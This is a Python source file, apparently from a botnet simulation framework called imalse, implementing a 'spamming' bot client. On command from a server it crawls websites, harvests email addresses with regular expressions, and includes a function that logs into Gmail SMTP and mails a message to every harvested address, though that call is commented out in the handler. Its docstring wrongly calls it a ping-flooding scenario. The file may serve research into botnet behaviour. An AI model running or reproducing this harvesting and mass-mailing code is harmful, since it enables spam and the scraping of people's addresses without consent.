Source

imalse / scenario / spamming / client_cmd.py

Full commit
"""

This file contains the Client Command Meta Description for the ddos ping
flooding scenario.

"""

from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders

import os
import re
import smtplib
import sys
import urllib2

from core.real import PhysicalNode 
from core.nodes.client import ClientCMD as CCMD
from scenario.spamming.config import ClientDescription

to_search_list = []
searched_list = []
email_list = []

def download_url(url):
    """Download the contents of a website."""
    try:
        return urllib2.urlopen(url)
    except ValueError as e:
        print e
        raise urllib2.URLError()

def crawl_sites(max_iterations, start_url):
    """
    
    Crawl websites. Start with 'start_url' and keep on visiting websites
    until new website urls aren't found anymore or when the maximum amount of
    iterations has been reached. Email addresses are found by examining the
    contents of each visited website.
    
    """
    
    to_search_list.append(start_url)
    
    iteration = 1
    while iteration <= int(max_iterations):
        if len(to_search_list) == 0:
            print "dead url end"
            break

        first_url = to_search_list[0]
        to_search_list.remove(first_url)
        searched_list.append(first_url)
        
        try:
            content = download_url(first_url)
        except urllib2.URLError as e:
            print e
            try:                
                content = download_url(first_url)
            except urllib2.URLError as e:
                print e
                iteration += 1
                continue
        
        for line in content:            
            url_expression= r"http://+[\w\d:#@%/;$()~_?\+-=\\\.&]*"
            regex = re.compile(url_expression) 
            
            results = regex.findall(line)
            if results:
                for result in results:
                    if result not in searched_list:
                        to_search_list.append(result)            
                       
            email_expression = r"\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,6}"
            eregex = re.compile(email_expression)
            
            e_results = eregex.findall(line)            
            if e_results:
                for e_result in e_results:
                    if e_result not in email_list:
                        email_list.append(e_result)
                    
        iteration += 1
        
def send_mail(gmail_user, gmail_pwd, subject, content):
    """Send an email to all found email addresses."""
    msg = MIMEMultipart()
    
    msg['From'] = gmail_user    
    msg['Subject'] = subject    
    msg.attach(MIMEText(content))
    
    mailServer = smtplib.SMTP("smtp.gmail.com", 587)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(gmail_user, gmail_pwd)    
    
    for address in email_list:
        address = address.replace("\n","")
        msg['To'] = address
           
        try:
            mailServer.sendmail(gmail_user, address, msg.as_string())
        except:
            print "something went wrong when sending an email to '%s'" % (address)
                       
    """Send spam to your own email address
    
    address = YOUR_EMAIl_ADDRESS
    msg['To'] = address
           
    try:
        mailServer.sendmail(gmail_user, address, msg.as_string())
    except:
        print "something went wrong when sending an email to '%s'" % (address)
        
    """
    mailServer.close()
    
class ClientCMD(CCMD):
    
    """This class is a subclass of ClientCMD."""
    
    def __init__(self, desc=None):
        if desc == None:
            desc = ClientDescription()
            
        CCMD.__init__(self, desc)
                
    def spam(self, sock, data):
        """
        
        This function will be called when the command is received from the server.
        
        """   
        crawl_sites(data.max_iterations, data.start_url)
        #send_mail(data.gmail_user, data.gmail_pwd, data.subject, data.content)

if __name__ == "__main__":
    cmd = ClientCMD()
    node = PhysicalNode()
    cmd.install(node)
    node.start()